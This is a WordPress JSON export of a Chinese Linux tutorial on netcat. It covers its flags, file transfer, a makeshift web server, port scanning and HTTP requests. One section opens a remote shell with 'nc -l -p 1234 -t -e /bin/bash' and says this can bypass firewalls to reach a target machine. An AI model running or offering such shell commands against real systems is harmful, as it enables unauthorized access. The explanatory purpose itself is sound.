{"id":2727,"date":"2017-09-27T23:27:03","date_gmt":"2017-09-27T15:27:03","guid":{"rendered":"http:\/\/cn.hostease.com\/xueyuan\/?p=2727"},"modified":"2017-09-27T23:27:03","modified_gmt":"2017-09-27T15:27:03","slug":"linux%e7%bd%91%e7%bb%9c%e5%88%a9%e5%99%a8netcatnc","status":"publish","type":"post","link":"https:\/\/cn.hostease.com\/xueyuan\/jishu\/linux\/linux%e7%bd%91%e7%bb%9c%e5%88%a9%e5%99%a8netcatnc\/","title":{"rendered":"Linux\u7f51\u7edc\u5229\u5668netcat\/nc"},"content":{"rendered":"<p>netcat\u6216\u8005\u662fnc\u5de5\u5177\u88ab\u79f0\u4e3a\u7f51\u7edc\u4e0a\u7684\u745e\u58eb\u519b\u5200\uff0c\u56e0\u6b64netcat\u4e5f\u6709\u5404\u4e2a\u7248\u672c\u51fa\u73b0\u5728\u5404\u4e2a\u7cfb\u7edf\u4e2d\uff0c\u800c\u5728CentOS 7 \u5f00\u59cbnetcat\u4e5f\u88ab\u6574\u5408\u5230namp\u9879\u76ee\u4e2d\u3002\u5f53\u7136\u5982\u679c\u662f\u5f00\u6e90\u7cfb\u7edf\u4e2d\uff0c\u5982Ubuntu\u6216Linux\u7cfb\u7edf\u4e2d\u5219\u53ef\u4ee5\u901a\u8fc7apt\u6216yum\u6765\u8fdb\u884c\u5b89\u88c5\uff0c\u5728DOS\u7cfb\u7edf\u4e0b\u53ef\u4ee5\u901a\u8fc7\u4e0b\u8f7dnc for windows\u83b7\u53d6\u5230\u4e8c\u8fdb\u5236\u7248\u7684netcat\u3002\u56e0\u4e3anetcat\u5de5\u5177\u5b9e\u9645\u4e0a\u53ef\u4ee5\u901a\u8fc7tcp\u3001udp\u6216\u8005\u662fsocket\u7b49\u7b49\u7684\u65b9\u5f0f\u5728\u4e24\u53f0\u4e3b\u673a\u4e4b\u95f4\u5efa\u7acb\u94fe\u63a5\uff0c\u7136\u540e\u901a\u8fc7\u94fe\u63a5\u8bfb\u53d6\u6570\u636e\u6d41\uff0c\u800c\u5728\u63a5\u6536\u4f20\u8f93\u6570\u636e\u6d41\u7684\u8fc7\u7a0b\u4e2d\u53ef\u4ee5\u4efb\u610f\u53d1\u6325\u4f60\u7684\u60f3\u8c61\uff0c\u56e0\u6b64\u5b83\u7684\u529f\u80fd\u5341\u5206\u5f3a\u5927\uff0c\u5728\u8fd9\u91cc\u5c31\u7b80\u5355\u7684\u4ecb\u7ecd\u8bf4\u660e\u4e00\u4e0b\u3002<\/p>\n<p>\u5148\u8bf4\u660e\u4e0bnc\u4e2d\u6bd4\u8f83\u5e38\u7528\u7684\u53c2\u6570\u8bf4\u660e\uff1a<br \/>\n-4 : \u5f3a\u5236nc\u4f7f\u7528ipv4<br \/>\n-6 : \u5f3a\u5236nc\u4f7f\u7528ipv6<br \/>\n-D : \u4f7f\u7528socket\u7684\u65b9\u5f0f<br \/>\n-d : daemon\uff08\u540e\u53f0\uff09\u8fd0\u884c\uff0c\u5c31\u53ef\u4ee5\u914d\u7f6e\u6210\u670d\u52a1<br \/>\n-l : \u76d1\u542c\u6a21\u5f0f\uff0c\u5982\u679c\u6ca1\u6709\u7279\u522b\u6307\u5b9a\u540e\u9762\u5e38\u5e38\u9690\u5f0f\u4f7f\u7528-p\u53c2\u6570<br \/>\n-n : \u4f7f\u7528ip\u7684\uff0c\u800c\u4e0d\u4f7f\u7528\u57df\u540d<br \/>\n-p : \u4f7f\u7528\u672c\u5730\u4e3b\u673a\u7684\u7aef\u53e3\uff0c\u9ed8\u8ba4\u662ftcp\u534f\u8bae\u7684\u7aef\u53e3<br \/>\n-r : \u4efb\u610f\u6307\u5b9a\u672c\u5730\u53ca\u8fdc\u7a0b\u7aef\u53e3<br \/>\n-s : \u8bbe\u7f6e\u672c\u5730\u4e3b\u673a\u9001\u51fa\u6570\u636e\u5305\u7684IP\u5730\u5740\uff0c\u4e3b\u673a\u4e0a\u6709\u591a\u4e2aIP\u65f6\u6307\u5b9a\u7ed1\u5b9a\u7684IP<br \/>\n-U : \u4f7f\u7528Unix\u7684socket<br \/>\n-u : \u4f7f\u7528udp\u534f\u8bae<br \/>\n-v : \u8be6\u7ec6\u8f93\u51fa<br \/>\n-z : \u5c06\u8f93\u5165\u8f93\u51fa\u5173\u6389\uff0c\u5373\u4e0d\u8fdb\u884c\u4ea4\u4e92\uff0c\u7528\u4e8e\u626b\u63cf\u65f6\uff0c\u6ce8\u610f\u5728nmap\u7684\u7248\u672c\u4e0b\u6ca1\u6709\u8fd9\u4e2a\u53c2\u6570<br \/>\n-w : \u8bbe\u7f6e\u8fde\u63a5\u8d85\u65f6\u65f6\u95f4\uff0c\u5355\u4f4d\u79d2<\/p>\n<p>\u4f7f\u7528\u4e5f\u5f88\u7b80\u5355\uff0c\u53ef\u4ee5\u901a\u8fc7\u7b80\u5355\u7684\u6d4b\u8bd5\u4e0b\uff1a<br \/>\n1\u3001\u6d4b\u8bd52\u53f0\u4e3b\u673a\u6570\u636e\u6d41\u662f\u5426\u80fd\u901a\u4fe1\uff08\u6a21\u62dfClint\/Server\u6a21\u578b\uff09<br \/>\nhost A\uff08192.168.2.200\uff09\uff1a<br \/>\n[root@localhost ~]# nc -lp 1234#\u6ce8\u610f\u9632\u706b\u5899\u4e0a\u9700\u8981\u5f00\u542f\u76f8\u5e94\u7684\u76d1\u542c\u7aef\u53e3<\/p>\n<p>host B\uff08192.168.2.203\uff09\uff1a<br \/>\n[root@localhost ~]# nc 192.168.2.200 1234<\/p>\n<p>\u6b64\u65f6\u5982\u679chostB\u80fd\u8fde\u901ahostA\u7684tcp 1234\u7aef\u53e3\u65f6\uff0c\u5728host A\u4e0a\u7684\u8f93\u51fa\u4efb\u4f55\u4fe1\u606f\u90fd\u4f1a\u901a\u8fc7nc\u4f20\u9001\u81f3host B\u4e0a\u3002<br \/>\n2\u3001\u6570\u636e\u4f20\u8f93<br \/>\nhost A\uff1a<br \/>\n[root@localhost ~]# ls -l<br \/>\n\u603b\u7528\u91cf 4<br \/>\n-rw&#8212;&#8212;- 1 root root 1150 8\u6708\u00a0 9 00:54 file<br \/>\n[root@localhost ~]# nc -l 1234 &lt; file<\/p>\n<p>host B\uff1a<br \/>\n[root@localhost ~]# ls -l<br \/>\n\u603b\u7528\u91cf 0<br \/>\n[root@localhost ~]# nc 192.168.2.200 1234 &gt; file<br \/>\n[root@localhost ~]# ls -l<br \/>\n\u603b\u7528\u91cf 4<br \/>\n-rw-r&#8211;r&#8211;. 1 root root 1150 9\u6708\u00a0 10 19:29 file<\/p>\n<p>\u540c\u7406\u8fd8\u53ef\u4ee5\u4f7f\u7528tar\u547d\u4ee4\u4f20\u9001\u6570\u636e\u6d41\u7684\u5f62\u5f0f\u538b\u7f29\u4f20\u9012\u6587\u4ef6\uff0c\u4ee5\u8282\u7701\u5e26\u5bbd<br \/>\nhost A\uff1a<br \/>\n[root@localhost ~]# du -sh .\/*<br \/>\n46M\u00a0 \u00a0 .\/data<br \/>\n[root@localhost ~]# tar -cjf &#8211; data | nc -l 1234<\/p>\n<p>host B\uff1a<br \/>\n[root@localhost ~]# ls -l<br \/>\n\u603b\u7528\u91cf 0<br \/>\n[root@localhost ~]# nc 192.168.2.200 1234 | tar -jxf &#8211;<br \/>\n[root@localhost ~]# ls -l<br \/>\n\u603b\u7528\u91cf 4<br \/>\ndrwxr-xr-x. 9 root root 4096 9\u6708\u00a0 10 19:57 data<\/p>\n<p>\u5f53\u7136\u5229\u7528\u8fd9\u4e2a\u7279\u6027\u8fd8\u53ef\u4ee5\u7528nc\u6a21\u62dfweb\u670d\u52a1\u5668\u63d0\u4f9b\u9759\u6001\u9875\u9762\uff08\u5229\u7528nc\u642d\u5efa\u4e34\u65f6web\u670d\u52a1\u5668\uff09\uff1a<br \/>\nhost A\uff1a<br \/>\n[root@localhost ~]# vim test.html<br \/>\n123<br \/>\n[root@localhost ~]# vim nc_web.sh<br \/>\n#!\/bin\/bash<br \/>\nwhile true; do<br \/>\nnc -l 80 &lt; test.html;<br \/>\ndone<br \/>\n[root@localhost ~]# chmod +x nc_web.sh &amp;&amp; .\/nc_web.sh<\/p>\n<p>host B\uff1a<br \/>\n[root@localhost ~]# curl 192.168.2.200<br \/>\n123<\/p>\n<p>\u5f53\u7136\u5229\u7528nc\u7684\u7279\u6027\uff0c\u5728\u6b64\u529f\u80fd\u4e0a\u8fd8\u80fd\u884d\u751f\u51fa\u5176\u4ed6\u7684\u5f88\u591a\u529f\u80fd\uff0c\u5982\uff1a\u5907\u4efd\u3001\u8bbe\u5907\u514b\u9686\uff0c\u7f51\u7edc\u6d4b\u901f\uff0c\u4e0b\u8f7d\u3001\u538b\u6d4b\u7b49\u7b49\uff0c\u5728\u6b64\u5c31\u4e0d\u4e00\u4e00\u4ecb\u7ecd\u4e86\u3002<br \/>\n3\u3001\u7ed9\u670d\u52a1\u5668\u53d1\u9001\u6d88\u606f<br \/>\n\u5982\u7ed9\u4e00\u4e2a\u7f51\u5740\u53d1\u9001\u4e00\u4e2ahttp\u7684\u5730\u5740\u5934\uff1a<br \/>\n[root@localhost ~]# echo -n &#8220;GET \/ HTTP\/1.0\\\\r\\\\n\\\\r\\\\n&#8221; | nc www.baidu.com 80 -v<br \/>\nConnection to www.baidu.com 80 port [tcp\/http] succeeded!<\/p>\n<p>\u540c\u7406\u5229\u7528\u8fd9\u4e2a\u7279\u6027\u4e5f\u53ef\u4ee5\u4f7f\u7528nc\u7ed9SMTP\u670d\u52a1\u5668\u53d1\u6d88\u606f\u7528\u6765\u53d1\u90ae\u4ef6\u7b49\u7b49\u3002<br \/>\n4\u3001\u7aef\u53e3\u63a2\u6d4b<\/p>\n<p>\u5728\u8fd9\u91ccnc\u7684\u529f\u80fd\u6bd4telnet\u597d\u7528\u591a\u4e86\uff0c\u9ed8\u8ba4\u662ftcp\u7aef\u53e3\uff1a<br \/>\n[root@localhost test]# nc -zvn 192.168.2.203 22<br \/>\nnc: connect to 192.168.2.203 port 22 (tcp) failed: Connection refused<\/p>\n<p>udp\u7aef\u53e3\uff1a<br \/>\n[root@localhost ~]# nc -zvun 192.168.2.200 1234<\/p>\n<p>\u67d0\u4e00\u7aef\u53e3\u6bb5\uff1a<br \/>\n1 [root@localhost ~]# nc -zvn 192.168.2.200 1-1024<\/p>\n<p>5\u3001shell\/cmd\u53cd\u5f39\uff1a<br \/>\nhost A\uff1a<\/p>\n<p>[root@localhost ~]# nc -l -p 1234 -t -e \/bin\/bash<\/p>\n<p>-t\uff1atelnet\u7684\u65b9\u5f0f<\/p>\n<p>host B\uff1a<br \/>\n[root@localhost ~]# nc 192.168.2.200 1234<br \/>\nls \/<br \/>\n1<br \/>\napp<br \/>\nbin<br \/>\nboot<br \/>\ndata<br \/>\ndev<br \/>\netc<br \/>\nhome<br \/>\nlib<br \/>\nlib64<br \/>\nmedia<br \/>\nmnt<br \/>\nopt<br \/>\nproc<br \/>\nroot<br \/>\nrun<br \/>\nsbin<br \/>\nsrv<br \/>\nsys<br \/>\ntmp<br \/>\nusr<br \/>\nvar<\/p>\n<p>\u8be5\u65b9\u6cd5\u53ef\u4ee5\u7ed5\u8fc7\u9632\u706b\u5899\uff0c\u5bf9\u76ee\u6807\u673ashell\u8fde\u63a5\uff0c\u540c\u7406\u7528nc\u5b9e\u73b0\u7aef\u53e3\u8f6c\u53d1\u4e5f\u662f\u5229\u7528\u8be5\u539f\u7406\u3002<\/p>\n<p>6\u3001\u81ea\u5b9a\u4e49http\u7684\u5934\u6765\u8bbf\u95ee\u9875\u9762<br \/>\n\u8fd9\u91cc\u5efa\u8bae\u7528www.try2hack.nl\u7f51\u7ad9\u53bb\u6d4b\u8bd5\uff0c\u5728\u5176\u4e2d\u4e00\u4e9b\u4fe1\u606f\u53ef\u4ee5\u8c01\u4fbf\u586b<\/p>\n<p>12345 [root@localhost ~]# nc www.try2hack.nl 80<br \/>\nGET \/ HTTP\/1.1<br \/>\nHost: baidu.com<br \/>\nReferrer: Mozilla\/5.0<br \/>\nUser-Agent: my-browser<\/p>\n<p>\u57282\u6b21\u56de\u8f66\u540e\u5c31\u628a\u522b\u4eba\u7684\u6574\u4e2ahttp\u5934\u548c\u76f8\u5173\u9759\u6001\u9875\u9762\u90fd\u83b7\u53d6\u4e0b\u6765\u3002<br \/>\n\u603b\u4e4bnetcat\/nc\u662f\u4e00\u4e2a\u5341\u5206\u5b9e\u7528\u4e14\u7684\u5f3a\u608d\u7684\u5de5\u5177\uff0c\u53d1\u6325\u4f60\u7684\u60f3\u8c61\u7075\u6d3b\u591a\u53d8\u5b83\u53ef\u4ee5\u5b9e\u73b0\u4f60\u5f88\u591a\u529f\u80fd\uff0c\u5728\u8fd9\u91cc\u5c31\u4e0d\u5168\u90e8\u4e00\u4e00\u4ecb\u7ecd\u4e86\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>netcat\u6216\u8005\u662fnc\u5de5\u5177\u88ab\u79f0\u4e3a\u7f51\u7edc\u4e0a\u7684\u745e\u58eb\u519b\u5200\uff0c\u56e0\u6b64netcat\u4e5f\u6709\u5404\u4e2a\u7248\u672c\u51fa\u73b0\u5728\u5404\u4e2a\u7cfb\u7edf\u4e2d\uff0c\u800c\u5728CentO &#8230; <a title=\"Linux\u7f51\u7edc\u5229\u5668netcat\/nc\" class=\"read-more\" href=\"https:\/\/cn.hostease.com\/xueyuan\/jishu\/linux\/linux%e7%bd%91%e7%bb%9c%e5%88%a9%e5%99%a8netcatnc\/\" aria-label=\"\u9605\u8bfb Linux\u7f51\u7edc\u5229\u5668netcat\/nc\">\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[49],"tags":[38],"class_list":["post-2727","post","type-post","status-publish","format-standard","hentry","category-linux","tag-linux"],"aioseo_notices":[],"jetpack_featured_media_url":"","jetpack-related-posts":[],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/2727","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/comments?post=2727"}],"version-history":[{"count":1,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/2727\/revisions"}],"predecessor-version":[{"id":2728,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/2727\/revisions\/2728"}],"wp:attachment":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/media?parent=2727"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/categories?post=2727"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/tags?post=2727"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}